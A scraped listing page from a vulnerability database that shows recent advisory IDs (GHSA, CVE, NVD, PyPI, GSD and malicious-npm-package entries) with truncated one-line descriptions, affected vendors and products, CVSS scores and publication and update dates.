Recent vulnerabilities


Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
ghsa-3742-9rpq-whr7 In the Linux kernel, the following vulnerability has been resolved: iommu/omap: Fix regression in … 2025-09-23T21:30:54Z 2025-09-23T21:30:54Z
ghsa-3464-wq8g-r9gp A SQL injection vulnerability exists in Fanwei e-cology 8.0 via the getdata.jsp endpoint. The appli… 2025-06-26T21:31:03Z 2025-09-23T21:30:54Z
ghsa-2746-jhfw-vv95 In Shenzhen C-Data Technology Co. FD602GW-DX-R410 (firmware v2.2.14), the web management interface … 2025-09-23T21:30:54Z 2025-09-23T21:30:54Z
ghsa-xwrf-hhx9-vmhv In the Linux kernel, the following vulnerability has been resolved: RDMA/cma: Ensure rdma_addr_can… 2024-05-21T15:31:44Z 2025-09-23T21:30:53Z
ghsa-xph2-rhph-vxvm In the Linux kernel, the following vulnerability has been resolved: mm/vmalloc: combine all TLB fl… 2024-12-27T15:31:53Z 2025-09-23T21:30:53Z
ghsa-x858-gx5h-mfp9 In the Linux kernel, the following vulnerability has been resolved: i2c: acpi: fix resource leak i… 2024-05-21T15:31:45Z 2025-09-23T21:30:53Z
ghsa-wwqr-5vx2-25qx In the Linux kernel, the following vulnerability has been resolved: virtio-blk: fix implicit overf… 2024-05-21T18:31:20Z 2025-09-23T21:30:53Z
ghsa-w9fv-gm94-h938 In the Linux kernel, the following vulnerability has been resolved: fbdev: Fix invalid page access… 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-vcc4-4xc8-8rmc In the Linux kernel, the following vulnerability has been resolved: f2fs: avoid format-overflow wa… 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-v93c-228v-m7cm In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Fix RPC client cleaned… 2024-05-21T18:31:21Z 2025-09-23T21:30:53Z
ghsa-qrxg-6w43-8h52 In the Linux kernel, the following vulnerability has been resolved: IB/hfi1: Restore allocated res… 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-qgwv-qgmf-mmf4 In the Linux kernel, the following vulnerability has been resolved: powerpc/64s/interrupt: Fix int… 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-q44g-g8vq-63rx In the Linux kernel, the following vulnerability has been resolved: drm/amd/pm: fix a potential gp… 2025-09-23T21:30:53Z 2025-09-23T21:30:53Z
ghsa-p6hq-6vgx-547f In the Linux kernel, the following vulnerability has been resolved: ocfs2: mount fails with buffer… 2024-05-22T09:31:45Z 2025-09-23T21:30:53Z
ghsa-p3gx-mhhh-v7wr In the Linux kernel, the following vulnerability has been resolved: swiotlb: fix out-of-bounds TLB… 2024-05-21T18:31:21Z 2025-09-23T21:30:53Z
ghsa-mxqp-c4m3-mg6r In the Linux kernel, the following vulnerability has been resolved: net/smc: avoid data corruption… 2024-05-21T18:31:20Z 2025-09-23T21:30:53Z
ghsa-mgmg-f25r-3gfh In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix gart.bo pin_co… 2024-05-21T15:31:45Z 2025-09-23T21:30:53Z
ghsa-jgx8-h977-4wfh In the Linux kernel, the following vulnerability has been resolved: riscv: VMAP_STACK overflow det… 2024-05-21T18:31:20Z 2025-09-23T21:30:53Z
ghsa-hf7w-m8fc-q8fp In the Linux kernel, the following vulnerability has been resolved: i40e: Fix freeing of uninitial… 2024-05-21T15:31:45Z 2025-09-23T21:30:53Z
ghsa-gpvh-jcjq-x69v In the Linux kernel, the following vulnerability has been resolved: ALSA: hda: Do not unset preset… 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-c3h6-p6wc-j6mg In the Linux kernel, the following vulnerability has been resolved: video: fbdev: nvidiafb: Use st… 2025-09-23T21:30:53Z 2025-09-23T21:30:53Z
ghsa-8v7x-4vvg-pgr3 In the Linux kernel, the following vulnerability has been resolved: cxl/region: Do not try to clea… 2024-05-21T18:31:21Z 2025-09-23T21:30:53Z
ghsa-8j29-hrg8-7mvc In the Linux kernel, the following vulnerability has been resolved: Fix page corruption caused by … 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-7f2x-rjqg-7667 In the Linux kernel, the following vulnerability has been resolved: hwmon: (mlxreg-fan) Return non… 2024-05-21T15:31:44Z 2025-09-23T21:30:53Z
ghsa-68x5-x32c-8c8w In the Linux kernel, the following vulnerability has been resolved: ipvlan: add ipvlan_route_v6_ou… 2024-05-21T18:31:21Z 2025-09-23T21:30:53Z
ghsa-64v3-vwp6-q2hj In the Linux kernel, the following vulnerability has been resolved: mmc: sdio: fix possible resour… 2024-05-21T18:31:19Z 2025-09-23T21:30:53Z
ghsa-5jx6-prfx-p374 In the Linux kernel, the following vulnerability has been resolved: ubifs: Fix to add refcount onc… 2025-09-23T21:30:53Z 2025-09-23T21:30:53Z
ghsa-48g3-w2gf-xjrv In the Linux kernel, the following vulnerability has been resolved: usb: cdc-acm: Check control tr… 2025-02-22T12:30:29Z 2025-09-23T21:30:53Z
ghsa-3vpw-pw66-4mjh In the Linux kernel, the following vulnerability has been resolved: RDMA/cma: Fix listener leak in… 2024-05-21T15:31:44Z 2025-09-23T21:30:53Z
ghsa-3rwj-253m-qrvm In the Linux kernel, the following vulnerability has been resolved: drm/xe/guc_submit: fix race ar… 2024-12-27T15:31:53Z 2025-09-23T21:30:53Z
Vulnerabilities are sorted by update time (recent to old).
ID CVSS Description Vendor Product Published Updated
cve-2025-59532 Codex has sandbox bypass due to bug in path configurat… openai
codex
2025-09-22T20:26:42.712Z 2025-09-23T20:19:23.374Z
cve-2025-10814 D-Link DIR-823X goahead command injection D-Link
DIR-823X
2025-09-22T20:32:09.997Z 2025-09-23T20:17:43.980Z
cve-2025-56311 N/A In Shenzhen C-Data Technology Co. FD602GW-DX-R410… n/a
n/a
2025-09-23T00:00:00.000Z 2025-09-23T20:13:54.048Z
cve-2025-57917 4.3 (v3.1) WordPress Printcart Web to Print Product Designer for … printcart
Printcart Web to Print Product Designer for WooCommerce
2025-09-22T18:25:15.574Z 2025-09-23T20:13:00.261Z
cve-2025-59535 DotNetNuke.Core allows loading of unused themes on ano… dnnsoftware
Dnn.Platform
2025-09-22T20:59:03.801Z 2025-09-23T20:12:28.277Z
cve-2025-10823 axboe fio options.c str_buffer_pattern_cb null pointer… axboe
fio
2025-09-22T23:32:10.940Z 2025-09-23T20:06:40.394Z
cve-2025-59825 astral-tokio-tar has a path traversal in tar extraction astral-sh
tokio-tar
2025-09-23T20:00:44.253Z 2025-09-23T20:00:44.253Z
cve-2025-57916 4.3 (v3.1) WordPress WP System Information Plugin <= 1.5 - Sensit… Nurul Amin
WP System Information
2025-09-22T18:25:16.284Z 2025-09-23T19:59:16.402Z
cve-2025-4760 4.8 (v3.1) Authenticated Stored Cross-Site Scripting (XSS) in Mul… WSO2
WSO2 API Manager
2025-09-23T14:55:04.917Z 2025-09-23T19:58:26.062Z
cve-2025-10824 axboe fio init.c __parse_jobs_ini use after free axboe
fio
2025-09-23T00:02:06.575Z 2025-09-23T19:55:20.846Z
cve-2025-10825 Campcodes Online Beauty Parlor Management System view-… Campcodes
Online Beauty Parlor Management System
2025-09-23T00:02:09.845Z 2025-09-23T19:52:17.849Z
cve-2025-10826 Campcodes Online Beauty Parlor Management System sales… Campcodes
Online Beauty Parlor Management System
2025-09-23T00:32:06.675Z 2025-09-23T19:50:02.881Z
cve-2025-10827 PHPJabbers Restaurant Menu Maker preview.php cross sit… PHPJabbers
Restaurant Menu Maker
2025-09-23T00:32:09.601Z 2025-09-23T19:39:50.135Z
cve-2025-10828 SourceCodester Pet Grooming Management Software edit.p… SourceCodester
Pet Grooming Management Software
2025-09-23T01:02:07.974Z 2025-09-23T19:36:05.125Z
cve-2024-4598 6.5 (v3.1) Information Disclosure in Multiple WSO2 Products Due t… WSO2
WSO2 API Manager
2025-09-23T10:39:16.195Z 2025-09-23T19:35:33.987Z
cve-2025-10548 N/A Missing Certificate Validation in CleverControl Instal… CleverControl
CleverControl employee monitoring software
2025-09-23T06:49:33.659Z 2025-09-23T19:34:50.357Z
cve-2025-53460 5.9 (v3.1) WordPress AffiliateWP – External Referral Links Plugin… Syed Balkhi
AffiliateWP – External Referral Links
2025-09-22T18:25:37.757Z 2025-09-23T19:34:13.366Z
cve-2025-10851 Campcodes Gym Management System ajax.php sql injection Campcodes
Gym Management System
2025-09-23T08:02:08.782Z 2025-09-23T19:33:51.513Z
cve-2025-10147 Podlove Podcast Publisher <= 4.2.6 - Unauthenticated A… eteubert
Podlove Podcast Publisher
2025-09-23T08:26:15.173Z 2025-09-23T19:33:28.739Z
cve-2025-10857 Campcodes Point of Sale System POS login.php sql injection Campcodes
Point of Sale System POS
2025-09-23T08:32:11.548Z 2025-09-23T19:32:55.037Z
cve-2025-5914 7.3 (v3.1) Libarchive: double free at archive_read_format_rar_see…

2025-06-09T19:53:48.923Z 2025-09-23T19:31:31.732Z
cve-2025-9798 8.9 (v3.1) Stored XSS in Netcad Software's Netigma Netcad Software Inc.
Netigma
2025-09-23T08:44:32.504Z 2025-09-23T19:31:31.584Z
cve-2025-8941 7.8 (v3.1) Linux-pam: incomplete fix for cve-2025-6020 Red Hat
Red Hat Enterprise Linux 7 Extended Lifecycle Support
2025-08-13T14:42:37.570Z 2025-09-23T19:31:30.130Z
cve-2025-6020 7.8 (v3.1) Linux-pam: linux-pam directory traversal

2025-06-17T12:44:08.646Z 2025-09-23T19:31:08.306Z
cve-2025-9342 6.5 (v3.1) IDOR in Anadolu Hayat Emeklilik's AHE Mobile Anadolu Hayat Emeklilik Inc.
AHE Mobile
2025-09-23T09:18:48.984Z 2025-09-23T19:31:08.221Z
cve-2025-10412 Product Options and Price Calculation Formulas for Woo… MooMoo
Product Options and Price Calculation Formulas for WooCommerce – Uni CPO (Premium)
2025-09-23T09:25:56.611Z 2025-09-23T19:30:38.993Z
cve-2025-57636 N/A OS Command injection vulnerability in D-Link C1 2… n/a
n/a
2025-09-23T00:00:00.000Z 2025-09-23T19:30:04.847Z
cve-2025-7106 Authorization Bypass due to Incorrect Access Control i… danny-avila
danny-avila/librechat
2025-09-23T09:54:33.716Z 2025-09-23T19:29:47.785Z
cve-2025-9962 10 (v4.0) Unauthenticated Buffer Overflow Novakon
P series
2025-09-23T11:02:13.795Z 2025-09-23T19:28:38.776Z
cve-2025-9963 9.4 (v4.0) Path Traversal Novakon
P series
2025-09-23T11:11:14.251Z 2025-09-23T19:27:36.127Z
Vulnerabilities are sorted by update time (recent to old).
ID CVSS Description Vendor Product Published Updated
cve-2021-47431 N/A drm/amdgpu: fix gart.bo pin_count leak Linux
Linux
2024-05-21T15:04:16.014Z 2025-09-16T08:01:56.413Z
cve-2021-47425 N/A i2c: acpi: fix resource leak in reconfiguration device… Linux
Linux
2024-05-21T15:04:11.931Z 2025-05-04T07:10:38.420Z
cve-2021-47424 N/A i40e: Fix freeing of uninitialized misc IRQ vector Linux
Linux
2024-05-21T15:04:11.271Z 2025-05-04T07:10:37.203Z
cve-2021-47393 N/A hwmon: (mlxreg-fan) Return non-zero value when fan cur… Linux
Linux
2024-05-21T15:03:50.844Z 2025-05-04T07:10:02.974Z
cve-2021-47392 N/A RDMA/cma: Fix listener leak in rdma_cma_listen_on_all(… Linux
Linux
2024-05-21T15:03:50.192Z 2025-05-04T07:10:01.922Z
cve-2021-47391 N/A RDMA/cma: Ensure rdma_addr_cancel() happens before iss… Linux
Linux
2024-05-21T15:03:49.545Z 2025-05-04T07:10:00.803Z
cve-2025-8941 7.8 (v3.1) Linux-pam: incomplete fix for cve-2025-6020 Red Hat
Red Hat Enterprise Linux 7 Extended Lifecycle Support
2025-08-13T14:42:37.570Z 2025-09-23T19:31:30.130Z
cve-2025-8282 N/A SureForms < 1.9.1 - Admin+ Stored XSS Unknown
SureForms
2025-09-23T06:00:06.866Z 2025-09-23T19:16:17.065Z
cve-2025-6020 7.8 (v3.1) Linux-pam: linux-pam directory traversal

2025-06-17T12:44:08.646Z 2025-09-23T19:31:08.306Z
cve-2025-5914 7.3 (v3.1) Libarchive: double free at archive_read_format_rar_see…

2025-06-09T19:53:48.923Z 2025-09-23T19:31:31.732Z
cve-2025-59825 astral-tokio-tar has a path traversal in tar extraction astral-sh
tokio-tar
2025-09-23T20:00:44.253Z 2025-09-23T20:00:44.253Z
cve-2025-59822 Http4s vulnerable to HTTP Request Smuggling due to imp… http4s
http4s
2025-09-23T18:54:42.867Z 2025-09-23T19:17:26.320Z
cve-2025-57636 N/A OS Command injection vulnerability in D-Link C1 2… n/a
n/a
2025-09-23T00:00:00.000Z 2025-09-23T19:30:04.847Z
cve-2025-54081 SunshineService Has Unquoted Service Path That Allows … LizardByte
Sunshine
2025-09-23T18:18:39.474Z 2025-09-23T19:17:53.733Z
cve-2025-10548 N/A Missing Certificate Validation in CleverControl Instal… CleverControl
CleverControl employee monitoring software
2025-09-23T06:49:33.659Z 2025-09-23T19:34:50.357Z
cve-2024-4598 6.5 (v3.1) Information Disclosure in Multiple WSO2 Products Due t… WSO2
WSO2 API Manager
2025-09-23T10:39:16.195Z 2025-09-23T19:35:33.987Z
cve-2021-47383 N/A tty: Fix out-of-bound vmalloc access in imageblit Linux
Linux
2024-05-21T15:03:44.286Z 2025-05-04T07:09:46.974Z
cve-2023-52803 N/A SUNRPC: Fix RPC client cleaned up the freed pipefs dentries Linux
Linux
2024-05-21T15:31:15.063Z 2025-05-04T07:43:28.931Z
cve-2023-52796 N/A ipvlan: add ipvlan_route_v6_outbound() helper Linux
Linux
2024-05-21T15:31:10.290Z 2025-05-04T07:43:21.587Z
cve-2023-52792 N/A cxl/region: Do not try to cleanup after cxl_region_set… Linux
Linux
2024-05-21T15:31:07.633Z 2025-05-04T07:43:17.847Z
cve-2024-56559 N/A mm/vmalloc: combine all TLB flush operations of KASAN … Linux
Linux
2024-12-27T14:23:04.688Z 2025-05-04T09:58:20.171Z
cve-2023-52790 N/A swiotlb: fix out-of-bounds TLB allocations with CONFIG… Linux
Linux
2024-05-21T15:31:06.319Z 2025-05-04T07:43:15.723Z
cve-2023-52775 N/A net/smc: avoid data corruption caused by decline Linux
Linux
2024-05-21T15:30:56.247Z 2025-05-04T07:42:58.791Z
cve-2023-52774 N/A s390/dasd: protect device queue against concurrent access Linux
Linux
2024-05-21T15:30:55.593Z 2025-05-04T07:42:57.731Z
cve-2023-52771 N/A cxl/port: Fix delete_endpoint() vs parent unregistrati… Linux
Linux
2024-05-21T15:30:53.629Z 2025-05-04T07:42:49.109Z
cve-2023-52764 N/A media: gspca: cpia1: shift-out-of-bounds in set_flicker Linux
Linux
2024-05-21T15:30:49.032Z 2025-05-04T07:42:40.597Z
cve-2023-52762 N/A virtio-blk: fix implicit overflow on virtio_max_dma_size Linux
Linux
2024-05-21T15:30:47.724Z 2025-05-04T07:42:38.396Z
cve-2023-52761 N/A riscv: VMAP_STACK overflow detection thread-safe Linux
Linux
2024-05-21T15:30:47.086Z 2025-05-04T07:42:37.274Z
cve-2025-34045 8.7 (v4.0) WeiPHP Path Traversal Arbitrary File Read Shenzhen Yuanmengyun Technology Co., Ltd.
WeiPHP
2025-06-26T15:51:37.884Z 2025-06-27T13:33:23.110Z
cve-2025-34038 8.7 (v4.0) Fanwei e-cology SQL Injection Shanghai Fanwei Network Technology
e-cology
2025-06-24T01:06:35.820Z 2025-06-24T15:50:41.509Z
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
fkie_cve-2023-52803 In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Fix RPC client cleaned… 2024-05-21T16:15:18.753 2025-09-23T20:14:24.273
fkie_cve-2023-52796 In the Linux kernel, the following vulnerability has been resolved: ipvlan: add ipvlan_route_v6_ou… 2024-05-21T16:15:18.157 2025-09-23T20:12:37.317
fkie_cve-2023-52792 In the Linux kernel, the following vulnerability has been resolved: cxl/region: Do not try to clea… 2024-05-21T16:15:17.857 2025-09-23T20:10:07.923
fkie_cve-2024-56559 In the Linux kernel, the following vulnerability has been resolved: mm/vmalloc: combine all TLB fl… 2024-12-27T15:15:14.760 2025-09-23T20:08:53.680
fkie_cve-2023-52790 In the Linux kernel, the following vulnerability has been resolved: swiotlb: fix out-of-bounds TLB… 2024-05-21T16:15:17.707 2025-09-23T20:08:48.230
fkie_cve-2023-52775 In the Linux kernel, the following vulnerability has been resolved: net/smc: avoid data corruption… 2024-05-21T16:15:16.610 2025-09-23T20:05:15.577
fkie_cve-2023-52774 In the Linux kernel, the following vulnerability has been resolved: s390/dasd: protect device queu… 2024-05-21T16:15:16.537 2025-09-23T20:00:36.837
fkie_cve-2023-52771 In the Linux kernel, the following vulnerability has been resolved: cxl/port: Fix delete_endpoint(… 2024-05-21T16:15:16.323 2025-09-23T19:57:19.773
fkie_cve-2023-52764 In the Linux kernel, the following vulnerability has been resolved: media: gspca: cpia1: shift-out… 2024-05-21T16:15:15.700 2025-09-23T19:52:13.697
fkie_cve-2023-52762 In the Linux kernel, the following vulnerability has been resolved: virtio-blk: fix implicit overf… 2024-05-21T16:15:15.560 2025-09-23T19:36:21.153
fkie_cve-2023-52761 In the Linux kernel, the following vulnerability has been resolved: riscv: VMAP_STACK overflow det… 2024-05-21T16:15:15.487 2025-09-23T19:28:31.913
fkie_cve-2025-34045 A path traversal vulnerability exists in WeiPHP 5.0, an open source WeChat public account platform … 2025-06-26T16:15:27.830 2025-09-23T19:27:16.840
fkie_cve-2025-34038 A SQL injection vulnerability exists in Fanwei e-cology 8.0 via the getdata.jsp endpoint. The appli… 2025-06-24T02:15:21.667 2025-09-23T19:26:18.260
fkie_cve-2025-21608 Meshtastic is an open source mesh networking solution. In affected firmware versions crafted packet… 2025-02-18T19:15:25.220 2025-09-23T19:20:35.733
fkie_cve-2023-52754 In the Linux kernel, the following vulnerability has been resolved: media: imon: fix access to inv… 2024-05-21T16:15:14.970 2025-09-23T19:17:43.393
fkie_cve-2023-52748 In the Linux kernel, the following vulnerability has been resolved: f2fs: avoid format-overflow wa… 2024-05-21T16:15:14.517 2025-09-23T19:16:56.013
fkie_cve-2025-25973 A stored Cross Site Scripting vulnerability in the "related recommendations" feature in Ppress v.0.… 2025-02-20T18:15:26.713 2025-09-23T19:16:04.880
fkie_cve-2025-9900 A flaw was found in Libtiff. This vulnerability is a "write-what-where" condition, triggered when t… 2025-09-23T17:15:38.357 2025-09-23T19:15:42.573
fkie_cve-2025-59534 CryptoLib provides a software-only solution using the CCSDS Space Data Link Security Protocol - Ext… 2025-09-23T19:15:41.760 2025-09-23T19:15:41.760
fkie_cve-2025-58674 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability … 2025-09-23T19:15:41.603 2025-09-23T19:15:41.603
fkie_cve-2025-57638 Buffer overflow vulnerability in Tenda AC9 1.0 via the user supplied sys.vendor configuration value. 2025-09-23T19:15:41.437 2025-09-23T19:15:41.437
fkie_cve-2025-57637 Buffer overflow vulnerability in D-Link DI-7100G 2020-02-21 in the sub_451754 function of the jhttp… 2025-09-23T19:15:41.310 2025-09-23T19:15:41.310
fkie_cve-2025-57605 Lack of server-side authorisation on department admin assignment APIs in AiKaan IoT Platform allows… 2025-09-22T16:15:45.250 2025-09-23T19:15:41.140
fkie_cve-2025-57602 Insufficient hardening of the proxyuser account in the AiKaan IoT management platform, combined wit… 2025-09-22T16:15:45.130 2025-09-23T19:15:40.977
fkie_cve-2025-57601 AiKaan Cloud Controller uses a single hardcoded SSH private key and the username `proxyuser` for re… 2025-09-22T16:15:45.000 2025-09-23T19:15:40.790
fkie_cve-2025-57433 The 2wcom IP-4c 2.15.5 device's web interface includes an information disclosure vulnerability. By … 2025-09-22T16:15:44.890 2025-09-23T19:15:40.597
fkie_cve-2025-57432 Blackmagic Web Presenter version 3.3 exposes a Telnet service on port 9977 that accepts unauthentic… 2025-09-22T16:15:44.753 2025-09-23T19:15:40.430
fkie_cve-2025-57430 Creacast Creabox Manager 4.4.4 exposes sensitive configuration data via a publicly accessible endpo… 2025-09-22T16:15:44.627 2025-09-23T19:15:40.260
fkie_cve-2025-56146 Indian Bank IndSMART Android App 3.8.1 is vulnerable to Missing SSL Certificate Validation in NuWeb… 2025-09-23T19:15:40.137 2025-09-23T19:15:40.137
fkie_cve-2025-53864 Connect2id Nimbus JOSE + JWT 10.0.x before 10.0.2 and 9.37.x before 9.37.4 allows a remote attacker… 2025-07-11T03:16:03.563 2025-09-23T19:15:39.810
Vulnerabilities are sorted by update time (recent to old).
ID Description Package Published Updated
pysec-2025-51 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) v… apache-airflow-providers-snowflake 2025-06-24T08:15:24+00:00 2025-06-26T21:23:03.132527+00:00
pysec-2025-50 vLLM, an inference and serving engine for large language models (LLMs), has a Regular Exp… vllm 2025-05-30T18:15:32+00:00 2025-06-19T03:02:28.572160+00:00
pysec-2024-255 Gradio before 4.20 allows credential leakage on Windows. gradio 2024-05-05T20:15:07+00:00 2025-06-17T19:21:48.983901+00:00
pysec-2024-254 A session fixation vulnerability exists in the zenml-io/zenml application, where JWT toke… zenml 2024-04-16T00:15:11+00:00 2025-06-13T00:48:41.806476+00:00
pysec-2025-49 setuptools is a package that allows users to download, build, install, upgrade, and unins… setuptools 2025-05-17T16:15:19+00:00 2025-06-12T22:23:11.115559+00:00
pysec-2025-48 Mobile Security Framework (MobSF) is a pen-testing, malware analysis and security assessm… mobsf 2025-03-31T17:15:42+00:00 2025-06-12T22:23:10.476087+00:00
pysec-2024-253 pretix before 2024.1.1 mishandles file validation. pretix 2024-02-26T16:28:00+00:00 2025-06-11T15:23:51.683422+00:00
pysec-2024-252 PyTorch before v2.2.0 was discovered to contain a heap buffer overflow vulnerability in t… torch 2024-04-17T19:15:07+00:00 2025-06-10T19:22:08.948962+00:00
pysec-2024-251 Pytorch before version v2.2.0 was discovered to contain a use-after-free vulnerability in… torch 2024-04-17T19:15:07+00:00 2025-06-10T03:12:59.077932+00:00
pysec-2025-47 An issue was discovered in Django 5.2 before 5.2.2, 5.1 before 5.1.10, and 4.2 before 4.2… django 2025-06-05T03:15:25+00:00 2025-06-05T05:23:28.296596+00:00
pysec-2025-46 A vulnerability was found in erdogant pypickle up to 1.1.5. It has been classified as cri… pypickle 2025-05-26T08:15:19+00:00 2025-06-03T17:36:58.579358+00:00
pysec-2025-45 A vulnerability was found in erdogant pypickle up to 1.1.5 and classified as problematic.… pypickle 2025-05-26T07:15:26+00:00 2025-06-03T17:36:58.528116+00:00
pysec-2024-250 Pytorch before v2.2.0 has an Out-of-bounds Read vulnerability via the component torch/csr… torch 2024-04-19T21:15:08+00:00 2025-06-03T15:23:56.072490+00:00
pysec-2023-312 Redis before 6cbea7d allows a replica to cause an assertion failure in a primary server b… redis 2023-07-15T23:15:09Z 2025-06-02T11:48:06.372423Z
pysec-2025-44 django-helpdesk before 1.0.0 allows Sensitive Data Exposure because of os.umask(0) in mod… django-helpdesk 2025-05-31T01:15:19+00:00 2025-05-31T03:09:35.357757+00:00
pysec-2025-43 vLLM is an inference and serving engine for large language models (LLMs). In versions sta… vllm 2025-05-29T17:15:21+00:00 2025-05-29T19:21:01.611587+00:00
pysec-2025-42 vLLM is a high-throughput and memory-efficient inference and serving engine for LLMs. Ver… vllm 2025-04-30T01:15:51+00:00 2025-05-28T21:23:12.396609+00:00
pysec-2025-41 PyTorch is a Python package that provides tensor computation with strong GPU acceleration… torch 2025-04-18T16:15:23+00:00 2025-05-28T15:23:37.843138+00:00
pysec-2025-40 A vulnerability in the `preprocess_string()` function of the `transformers.testing_utils`… transformers 2025-05-19T12:15:19+00:00 2025-05-21T19:22:10.801823+00:00
pysec-2024-249 ### Summary On all Label Studio versions prior to 1.11.0, data imported via file upload f… label-studio 2024-02-22T22:15:47+00:00 2025-05-19T11:22:35.312280+00:00
pysec-2024-248 OpenCanary, a multi-protocol network honeypot, directly executed commands taken from its … opencanary 2024-10-14T21:15:12+00:00 2025-05-16T14:23:05.150356+00:00
pysec-2025-39 motionEye is an online interface for the software motion, a video surveillance program wi… motioneye 2025-05-14T16:15:29+00:00 2025-05-14T17:22:51.050788+00:00
pysec-2025-38 OpenStack Ironic before 29.0.1 can write unintended files to a target node disk during im… ironic 2025-05-08T17:16:01Z 2025-05-13T04:24:03.083929Z
pysec-2024-247 A directory traversal vulnerability exists in the zenml-io/zenml repository, specifically… zenml 2024-04-16T00:15:11+00:00 2025-05-12T15:23:53.861001+00:00
pysec-2025-37 An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2… django 2025-05-08T04:17:18+00:00 2025-05-08T05:23:16.210893+00:00
pysec-2025-36 Langflow versions prior to 1.3.0 are susceptible to code injection in the /api/v1/valida… langflow 2025-04-07T15:15:44+00:00 2025-05-07T19:22:44.993642+00:00
pysec-2024-246 Vyper is a pythonic Smart Contract Language for the Ethereum virtual machine. Starting in… vyper 2024-04-25T17:15:50+00:00 2025-05-05T19:21:20.899426+00:00
pysec-2024-111 A path traversal vulnerability exists in the `getFullPath` method of langchain-ai/langcha… langchain 2024-10-29T13:15:00Z 2025-05-02T18:39:47.588215Z
pysec-2024-245 Apache Airflow, versions before 2.8.2, has a vulnerability that allows authenticated user… apache-airflow 2024-02-29T11:15:08+00:00 2025-05-01T21:22:38.598048+00:00
pysec-2025-35 Weblate is a web based localization tool. Prior to version 5.11, when creating a new comp… weblate 2025-04-15T21:16:04+00:00 2025-04-30T17:22:51.467257+00:00
Vulnerabilities are sorted by update time (recent to old).
ID Description
gsd-2024-33874 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33861 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33850 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33856 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33870 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33849 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33854 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33868 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33881 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33880 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33877 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33873 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33859 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33875 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33878 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33858 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33872 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33857 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33853 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33863 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33852 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33866 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33867 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33882 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33871 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33862 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33864 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33865 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33869 The format of the source doesn't require a description, click on the link for more details
gsd-2024-33860 The format of the source doesn't require a description, click on the link for more details
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
mal-2024-10556 Malicious code in com.immutable.api.zkevm (npm) 2024-11-07T23:45:35Z 2024-12-05T00:35:14Z
mal-2024-10553 Malicious code in autolink-jira-issue (npm) 2024-11-08T08:41:39Z 2024-12-05T00:35:14Z
mal-2024-10550 Malicious code in activity_logs_monitoring (npm) 2024-11-08T08:11:56Z 2024-12-05T00:35:14Z
mal-2024-10535 Malicious code in deriv-app-id-action (npm) 2024-11-08T12:15:59Z 2024-12-05T00:35:14Z
mal-2024-11188 Malicious code in private-lib-bug-bounty (npm) 2024-12-04T20:43:08Z 2024-12-04T20:43:08Z
mal-2024-11187 Malicious code in cdp-agentkit (npm) 2024-12-04T18:40:44Z 2024-12-04T18:40:44Z
mal-2024-11186 Malicious code in cdp-agentkit-nodejs (npm) 2024-12-04T18:30:54Z 2024-12-04T18:30:54Z
mal-2024-11189 Malicious code in pocfinalone.js (npm) 2024-12-04T18:30:35Z 2024-12-04T18:30:35Z
mal-2024-11185 Malicious code in com.bovinelabs.analyzers (npm) 2024-12-04T16:30:55Z 2024-12-04T16:30:55Z
mal-2024-11190 Malicious code in vue-midata (npm) 2024-12-04T11:57:41Z 2024-12-04T11:57:41Z
mal-2024-11199 Malicious code in wrapped-tokens (npm) 2024-12-04T05:08:01Z 2024-12-04T05:13:14Z
mal-2024-11195 Malicious code in fastify-tfb (npm) 2024-12-04T05:08:01Z 2024-12-04T05:13:13Z
mal-2024-11198 Malicious code in web3-executor (npm) 2024-12-04T04:54:47Z 2024-12-04T04:54:47Z
mal-2024-11197 Malicious code in stacks-blockchain-dist-tool (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:11Z
mal-2024-11191 Malicious code in auto-cancel-redundant-job (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:11Z
mal-2024-11196 Malicious code in set-pr-description-action (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:07Z
mal-2024-11193 Malicious code in codat-docs (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:07Z
mal-2024-11194 Malicious code in com.immutable.marketplace (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:06Z
mal-2024-11192 Malicious code in basic-preset-minting (npm) 2024-12-04T04:52:06Z 2024-12-04T04:52:06Z
mal-2024-11184 Malicious code in dcapps-cli (npm) 2024-12-03T23:34:52Z 2024-12-03T23:34:53Z
